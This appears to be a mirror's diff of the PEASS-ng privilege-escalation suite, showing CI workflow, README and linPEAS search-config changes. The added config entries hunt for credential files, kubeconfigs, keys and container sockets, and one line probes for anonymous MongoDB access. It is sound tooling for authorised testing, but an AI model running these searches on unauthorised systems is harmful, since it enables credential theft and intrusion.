mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-06 17:11:29 +00:00
Compare commits
92 Commits
refs/pull/
...
20220522
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fa0f2e17fb | ||
|
|
f8e0090962 | ||
|
|
10960f2456 | ||
|
|
0c9bee903a | ||
|
|
7f2b14d8d7 | ||
|
|
0a41095a1b | ||
|
|
06cb797f42 | ||
|
|
585fcc33b2 | ||
|
|
8d232ee083 | ||
|
|
3b764452b5 | ||
|
|
2844a124cd | ||
|
|
6536042afd | ||
|
|
d17e4dcca7 | ||
|
|
a928340752 | ||
|
|
db059d9a23 | ||
|
|
4050c0e445 | ||
|
|
91805d7542 | ||
|
|
9ea0c01b82 | ||
|
|
b3eefad3fe | ||
|
|
cf947f01c7 | ||
|
|
25a5b1ad63 | ||
|
|
ee80f8d97a | ||
|
|
7f3e4c440d | ||
|
|
1209890aa9 | ||
|
|
820e12f1ed | ||
|
|
f4e8443544 | ||
|
|
073114db86 | ||
|
|
75e11f7bb1 | ||
|
|
09312c6883 | ||
|
|
b6bf6a702a | ||
|
|
fb57aaa3d5 | ||
|
|
dd122b2f10 | ||
|
|
a89f235c43 | ||
|
|
7f0bbdbaae | ||
|
|
4206e78080 | ||
|
|
dc7c9db7dd | ||
|
|
48ff8b061b | ||
|
|
ea09bd5f3a | ||
|
|
68f1cf35b5 | ||
|
|
33f4ca923c | ||
|
|
b3c12e22b6 | ||
|
|
ff39a57b49 | ||
|
|
6ce34b2d61 | ||
|
|
0a4df51b06 | ||
|
|
7c275d50bc | ||
|
|
d57877077f | ||
|
|
e3238acc2b | ||
|
|
9f4045c697 | ||
|
|
52c2a1e11b | ||
|
|
f3495c48e9 | ||
|
|
db89a779ad | ||
|
|
77cc22a657 | ||
|
|
cc1e2b4d3c | ||
|
|
6ab4e6798f | ||
|
|
568f8cafa9 | ||
|
|
159a2d8643 | ||
|
|
d02e91a451 | ||
|
|
db1ad797d9 | ||
|
|
b9c8df71c5 | ||
|
|
c53425d4bc | ||
|
|
3723327e21 | ||
|
|
8f12ad9d67 | ||
|
|
3faac92a01 | ||
|
|
cb81dbf02f | ||
|
|
8c67152e17 | ||
|
|
9c31073279 | ||
|
|
f7eb8ce150 | ||
|
|
c8b28b1fb6 | ||
|
|
d15e3dffd5 | ||
|
|
07a2db8553 | ||
|
|
e81069ea0a | ||
|
|
21d3b3f349 | ||
|
|
aa94d9d432 | ||
|
|
5b8f3968e8 | ||
|
|
94e10c0ae7 | ||
|
|
5d0d7c7997 | ||
|
|
600dcc4549 | ||
|
|
a65d251242 | ||
|
|
0a605cdd32 | ||
|
|
5d763a1c8b | ||
|
|
23d8f264be | ||
|
|
1c02bbc9d6 | ||
|
|
70e85e14dd | ||
|
|
bfd0cf62a7 | ||
|
|
be85f7e0e0 | ||
|
|
6a0b3f7cb1 | ||
|
|
3ecb6090c1 | ||
|
|
86a2a24a1c | ||
|
|
605b718fba | ||
|
|
3ffaf1f1bb | ||
|
|
f27c56bd3c | ||
|
|
2e5e368109 |
2
.github/FUNDING.yml
vendored
2
.github/FUNDING.yml
vendored
@@ -1 +1 @@
|
|||||||
custom: ['https://www.patreon.com/peass']
|
custom: ['https://github.com/sponsors/carlospolop']
|
||||||
|
|||||||
59
.github/workflows/CI-master_tests.yml
vendored
59
.github/workflows/CI-master_tests.yml
vendored
@@ -5,6 +5,9 @@ on:
|
|||||||
branches:
|
branches:
|
||||||
- master
|
- master
|
||||||
|
|
||||||
|
schedule:
|
||||||
|
- cron: "5 4 * * SUN"
|
||||||
|
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
@@ -84,9 +87,9 @@ jobs:
|
|||||||
# copy the files
|
# copy the files
|
||||||
- name: Copy Dotfuscator generated files
|
- name: Copy Dotfuscator generated files
|
||||||
run: |
|
run: |
|
||||||
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe"
|
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe"
|
||||||
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe"
|
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe"
|
||||||
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe"
|
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe"
|
||||||
|
|
||||||
# Upload all the versions for the release
|
# Upload all the versions for the release
|
||||||
- name: Upload winpeasx64
|
- name: Upload winpeasx64
|
||||||
@@ -111,19 +114,19 @@ jobs:
|
|||||||
uses: actions/upload-artifact@v2
|
uses: actions/upload-artifact@v2
|
||||||
with:
|
with:
|
||||||
name: winPEASx64_ofs.exe
|
name: winPEASx64_ofs.exe
|
||||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe
|
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe
|
||||||
|
|
||||||
- name: Upload winpeasx86ofs
|
- name: Upload winpeasx86ofs
|
||||||
uses: actions/upload-artifact@v2
|
uses: actions/upload-artifact@v2
|
||||||
with:
|
with:
|
||||||
name: winPEASx86_ofs.exe
|
name: winPEASx86_ofs.exe
|
||||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe
|
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe
|
||||||
|
|
||||||
- name: Upload winpeasanyofs
|
- name: Upload winpeasanyofs
|
||||||
uses: actions/upload-artifact@v2
|
uses: actions/upload-artifact@v2
|
||||||
with:
|
with:
|
||||||
name: winPEASany_ofs.exe
|
name: winPEASany_ofs.exe
|
||||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe
|
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe
|
||||||
|
|
||||||
- name: Upload winpeas.bat
|
- name: Upload winpeas.bat
|
||||||
uses: actions/upload-artifact@v2
|
uses: actions/upload-artifact@v2
|
||||||
@@ -196,7 +199,7 @@ jobs:
|
|||||||
|
|
||||||
# Run linpeas as a test
|
# Run linpeas as a test
|
||||||
- name: Run linpeas
|
- name: Run linpeas
|
||||||
run: linPEAS/linpeas.sh -t -e
|
run: linPEAS/linpeas.sh -a -D
|
||||||
|
|
||||||
# Upload files for release
|
# Upload files for release
|
||||||
- name: Upload linpeas.sh
|
- name: Upload linpeas.sh
|
||||||
@@ -282,8 +285,8 @@ jobs:
|
|||||||
run: linPEAS/linpeas.sh -h
|
run: linPEAS/linpeas.sh -h
|
||||||
|
|
||||||
# Run macpeas parts to test it
|
# Run macpeas parts to test it
|
||||||
- name: Run macpeas
|
#- name: Run macpeas
|
||||||
run: linPEAS/linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
|
# run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
|
||||||
|
|
||||||
|
|
||||||
Publish_release:
|
Publish_release:
|
||||||
@@ -292,21 +295,6 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
# Download files to release
|
# Download files to release
|
||||||
- name: Download winpeasx64
|
|
||||||
uses: actions/download-artifact@v2
|
|
||||||
with:
|
|
||||||
name: winPEASx64.exe
|
|
||||||
|
|
||||||
- name: Download winpeasx86
|
|
||||||
uses: actions/download-artifact@v2
|
|
||||||
with:
|
|
||||||
name: winPEASx86.exe
|
|
||||||
|
|
||||||
- name: Download winpeasany
|
|
||||||
uses: actions/download-artifact@v2
|
|
||||||
with:
|
|
||||||
name: winPEASany.exe
|
|
||||||
|
|
||||||
- name: Download winpeasx64ofs
|
- name: Download winpeasx64ofs
|
||||||
uses: actions/download-artifact@v2
|
uses: actions/download-artifact@v2
|
||||||
with:
|
with:
|
||||||
@@ -322,6 +310,21 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
name: winPEASany_ofs.exe
|
name: winPEASany_ofs.exe
|
||||||
|
|
||||||
|
- name: Download winpeasx64
|
||||||
|
uses: actions/download-artifact@v2
|
||||||
|
with:
|
||||||
|
name: winPEASx64.exe
|
||||||
|
|
||||||
|
- name: Download winpeasx86
|
||||||
|
uses: actions/download-artifact@v2
|
||||||
|
with:
|
||||||
|
name: winPEASx86.exe
|
||||||
|
|
||||||
|
- name: Download winpeasany
|
||||||
|
uses: actions/download-artifact@v2
|
||||||
|
with:
|
||||||
|
name: winPEASany.exe
|
||||||
|
|
||||||
- name: Download winpeas.bat
|
- name: Download winpeas.bat
|
||||||
uses: actions/download-artifact@v2
|
uses: actions/download-artifact@v2
|
||||||
with:
|
with:
|
||||||
@@ -362,6 +365,10 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
name: linpeas_darwin_arm64
|
name: linpeas_darwin_arm64
|
||||||
|
|
||||||
|
- name: Get current date
|
||||||
|
id: date
|
||||||
|
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
||||||
|
|
||||||
# Create the release
|
# Create the release
|
||||||
- name: Create Release
|
- name: Create Release
|
||||||
id: create_release
|
id: create_release
|
||||||
@@ -369,8 +376,8 @@ jobs:
|
|||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
with:
|
with:
|
||||||
tag_name: ${{ github.ref }}
|
tag_name: ${{steps.date.outputs.date}}
|
||||||
release_name: Release ${{ github.ref }}
|
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}
|
||||||
draft: false
|
draft: false
|
||||||
prerelease: false
|
prerelease: false
|
||||||
|
|
||||||
|
|||||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -26,3 +26,5 @@ linPEAS/builder/src/__pycache__/*
|
|||||||
linPEAS/linpeas.sh
|
linPEAS/linpeas.sh
|
||||||
sh2bin
|
sh2bin
|
||||||
sh2bin/*
|
sh2bin/*
|
||||||
|
.dccache
|
||||||
|
./*/.dccache
|
||||||
24
README.md
24
README.md
@@ -12,30 +12,34 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
|
|||||||
|
|
||||||
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
|
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
|
||||||
|
|
||||||
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||||
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
|
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
|
||||||
|
|
||||||
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**
|
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
|
||||||
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
|
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||||
|
|
||||||
|
## JSON, HTML & PDF output
|
||||||
|
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
|
||||||
|
|
||||||
|
## Support PEASS-ng and HackTricks and get benefits
|
||||||
|
|
||||||
|
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
|
||||||
|
|
||||||
|
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
||||||
|
|
||||||
|
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).
|
||||||
|
|
||||||
## Let's improve PEASS together
|
## Let's improve PEASS together
|
||||||
|
|
||||||
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
|
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
|
||||||
|
|
||||||
## PEASS Style
|
|
||||||
|
|
||||||
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
|
|
||||||
|
|
||||||
## Advisory
|
## Advisory
|
||||||
|
|
||||||
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
|
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
|
||||||
|
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>
|
By Polop<sup>(TM)</sup>
|
||||||
|
|||||||
@@ -92,7 +92,9 @@ cap_setgid_markup: "peass{CAP_SETGID_HERE}"
|
|||||||
les_markup: "peass{LES}"
|
les_markup: "peass{LES}"
|
||||||
les2_markup: "peass{LES2}"
|
les2_markup: "peass{LES2}"
|
||||||
|
|
||||||
|
fat_linpeas_amicontained_markup: "peass{AMICONTAINED}"
|
||||||
|
fat_linpeas_gitleaks_linux_markup: "peass{GITLEAKS_LINUX}"
|
||||||
|
fat_linpeas_gitleaks_macos_markup: "peass{GITLEAKS_MACOS}"
|
||||||
|
|
||||||
##############################
|
##############################
|
||||||
## AUTO GENERATED VARIABLES ##
|
## AUTO GENERATED VARIABLES ##
|
||||||
@@ -118,7 +120,7 @@ defaults:
|
|||||||
check_extra_path: "" #Check if the found files are in a specific path (only linpeas)
|
check_extra_path: "" #Check if the found files are in a specific path (only linpeas)
|
||||||
good_regex: "" #The regex to color green
|
good_regex: "" #The regex to color green
|
||||||
just_list_file: False #Just mention the path to the file, do not cat it
|
just_list_file: False #Just mention the path to the file, do not cat it
|
||||||
line_grep: "" #The regex to grep lines in a file. IMPORTANT: This is the argument for "grep" command so you need to specify the single and double quotes (see examples)
|
line_grep: "" #The regex to grep lines in a file. IMPORTANT: This is the argument for "grep" command so you need to specify the single and double quotes (see examples). Use double quotes to indicate the interesting things to grep as winpeas greps the things inside th double qoutes.
|
||||||
only_bad_lines: False #Only print lines containing something red (cnotaining bad_regex)
|
only_bad_lines: False #Only print lines containing something red (cnotaining bad_regex)
|
||||||
remove_empty_lines: False #Remove empty lines, use only for text files (-I param in grep)
|
remove_empty_lines: False #Remove empty lines, use only for text files (-I param in grep)
|
||||||
remove_path: "" #Not interested in files containing this path (only linpeas)
|
remove_path: "" #Not interested in files containing this path (only linpeas)
|
||||||
@@ -317,6 +319,24 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
|
- name: "passwd.ibd"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "password*.ibd"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "pwd.ibd"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
- name: MariaDB
|
- name: MariaDB
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
@@ -383,14 +403,16 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
- name: Apache
|
- name: Apache-Nginx
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
auto_check: True
|
auto_check: True
|
||||||
exec:
|
exec:
|
||||||
- 'echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"'
|
- 'echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"'
|
||||||
|
- 'echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"'
|
||||||
|
- if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then 'grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null'; fi
|
||||||
|
- if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi
|
||||||
- "print_3title 'PHP exec extensions'"
|
- "print_3title 'PHP exec extensions'"
|
||||||
- 'grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null'
|
|
||||||
|
|
||||||
files:
|
files:
|
||||||
- name: "sites-enabled"
|
- name: "sites-enabled"
|
||||||
@@ -399,8 +421,7 @@ search:
|
|||||||
files:
|
files:
|
||||||
- name: "*"
|
- name: "*"
|
||||||
value:
|
value:
|
||||||
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias"
|
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on"
|
||||||
only_bad_lines: True
|
|
||||||
remove_empty_lines: True
|
remove_empty_lines: True
|
||||||
remove_regex: '#'
|
remove_regex: '#'
|
||||||
search_in:
|
search_in:
|
||||||
@@ -409,6 +430,7 @@ search:
|
|||||||
- name: "000-default.conf"
|
- name: "000-default.conf"
|
||||||
value:
|
value:
|
||||||
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias"
|
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias"
|
||||||
|
remove_regex: '#'
|
||||||
type: f
|
type: f
|
||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
@@ -417,7 +439,7 @@ search:
|
|||||||
value:
|
value:
|
||||||
bad_regex: "On"
|
bad_regex: "On"
|
||||||
remove_regex: "^;"
|
remove_regex: "^;"
|
||||||
line_grep: "allow_"
|
line_grep: '"allow_"'
|
||||||
type: f
|
type: f
|
||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
@@ -541,6 +563,7 @@ search:
|
|||||||
auto_check: True
|
auto_check: True
|
||||||
exec:
|
exec:
|
||||||
- 'echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"'
|
- 'echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"'
|
||||||
|
- if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi
|
||||||
|
|
||||||
files:
|
files:
|
||||||
- name: "mongod*.conf"
|
- name: "mongod*.conf"
|
||||||
@@ -551,6 +574,21 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
|
- name: Rocketchat
|
||||||
|
value:
|
||||||
|
config:
|
||||||
|
auto_check: True
|
||||||
|
|
||||||
|
files:
|
||||||
|
- name: "rocketchat.service"
|
||||||
|
value:
|
||||||
|
bad_regex: "mongodb://.*"
|
||||||
|
line_grep: '-i "Environment"'
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
- /lib
|
||||||
|
- /systemd
|
||||||
|
|
||||||
- name: Supervisord
|
- name: Supervisord
|
||||||
value:
|
value:
|
||||||
@@ -669,6 +707,34 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- /etc
|
- /etc
|
||||||
|
|
||||||
|
- name: GlusterFS
|
||||||
|
value:
|
||||||
|
config:
|
||||||
|
auto_check: True
|
||||||
|
|
||||||
|
files:
|
||||||
|
- name: "glusterfs.pem"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
just_list_file: True
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "glusterfs.ca"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
just_list_file: True
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "glusterfs.key"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
just_list_file: True
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
|
||||||
- name: Anaconda ks
|
- name: Anaconda ks
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
@@ -706,32 +772,74 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
- name: Kubelet
|
- name: Kubernetes
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
auto_check: True
|
auto_check: True
|
||||||
|
exec:
|
||||||
|
- (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
|
||||||
|
|
||||||
files:
|
files:
|
||||||
|
- name: "kubeconfig"
|
||||||
|
value:
|
||||||
|
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
||||||
|
type: d
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "kubelet-kubeconfig"
|
||||||
|
value:
|
||||||
|
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
||||||
|
type: d
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "psk.txt"
|
||||||
|
value:
|
||||||
|
remove_empty_lines: True
|
||||||
|
bad_regex: ".*"
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: ".kube*"
|
||||||
|
value:
|
||||||
|
files:
|
||||||
|
- name: "config"
|
||||||
|
value:
|
||||||
|
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
||||||
|
type: d
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
- name: "kubelet"
|
- name: "kubelet"
|
||||||
value:
|
value:
|
||||||
files:
|
files:
|
||||||
- name: "kubeconfig"
|
- name: "kubelet.conf"
|
||||||
value:
|
value:
|
||||||
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
||||||
|
- name: "config.yaml"
|
||||||
|
value:
|
||||||
|
bad_regex: "server:|cluster:|namespace:|user:|exec:"
|
||||||
|
- name: "kubeadm-flags.env"
|
||||||
|
value:
|
||||||
|
remove_empty_lines: True
|
||||||
type: d
|
type: d
|
||||||
search_in:
|
search_in:
|
||||||
- /var
|
- /var
|
||||||
|
|
||||||
- name: "kube-proxy"
|
- name: "kube-proxy"
|
||||||
value:
|
value:
|
||||||
files:
|
|
||||||
- name: "kubeconfig"
|
|
||||||
value:
|
|
||||||
bad_regex: "cluster:|certificate-authority-data:|namespace:|user:|token:"
|
|
||||||
type: d
|
type: d
|
||||||
search_in:
|
search_in:
|
||||||
- /var
|
- /var
|
||||||
|
|
||||||
|
- name: "kubernetes"
|
||||||
|
value:
|
||||||
|
type: d
|
||||||
|
search_in:
|
||||||
|
- /etc
|
||||||
|
|
||||||
- name: VNC
|
- name: VNC
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
@@ -751,6 +859,7 @@ search:
|
|||||||
- name: "*vnc*.c*nf*"
|
- name: "*vnc*.c*nf*"
|
||||||
value:
|
value:
|
||||||
bad_regex: ".*"
|
bad_regex: ".*"
|
||||||
|
remove_regex: '^#'
|
||||||
type: f
|
type: f
|
||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
@@ -940,7 +1049,6 @@ search:
|
|||||||
type: f
|
type: f
|
||||||
search_in:
|
search_in:
|
||||||
- /tmp
|
- /tmp
|
||||||
- /private
|
|
||||||
|
|
||||||
- name: SSH_CONFIG
|
- name: SSH_CONFIG
|
||||||
value:
|
value:
|
||||||
@@ -961,12 +1069,12 @@ search:
|
|||||||
auto_check: True
|
auto_check: True
|
||||||
|
|
||||||
files:
|
files:
|
||||||
- name: "credentials"
|
#- name: "credentials"
|
||||||
value:
|
# value:
|
||||||
bad_regex: ".*"
|
# bad_regex: ".*"
|
||||||
type: f
|
# type: f
|
||||||
search_in:
|
# search_in:
|
||||||
- common
|
# - common
|
||||||
|
|
||||||
- name: "credentials.db"
|
- name: "credentials.db"
|
||||||
value:
|
value:
|
||||||
@@ -1516,6 +1624,37 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
|
- name: "dockershim.sock"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "containerd.sock"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "crio.sock"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "frakti.sock"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
- name: "rktlet.sock"
|
||||||
|
value:
|
||||||
|
type: f
|
||||||
|
search_in:
|
||||||
|
- common
|
||||||
|
|
||||||
|
|
||||||
- name: Firefox
|
- name: Firefox
|
||||||
value:
|
value:
|
||||||
disable:
|
disable:
|
||||||
@@ -2567,7 +2706,7 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
- name: Other Interesting Files
|
- name: Other Interesting
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
auto_check: True
|
auto_check: True
|
||||||
@@ -2636,7 +2775,7 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
- name: Windows Files
|
- name: Windows
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
auto_check: True
|
auto_check: True
|
||||||
@@ -2985,7 +3124,7 @@ search:
|
|||||||
search_in:
|
search_in:
|
||||||
- common
|
- common
|
||||||
|
|
||||||
- name: Other Windows Files
|
- name: Other Windows
|
||||||
value:
|
value:
|
||||||
config:
|
config:
|
||||||
auto_check: True
|
auto_check: True
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)**
|
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)**
|
||||||
|
|
||||||
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**.
|
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**.
|
||||||
|
|
||||||
[](https://asciinema.org/a/309566)
|
[](https://asciinema.org/a/309566)
|
||||||
|
|
||||||
@@ -13,11 +13,11 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks
|
|||||||
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
|
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
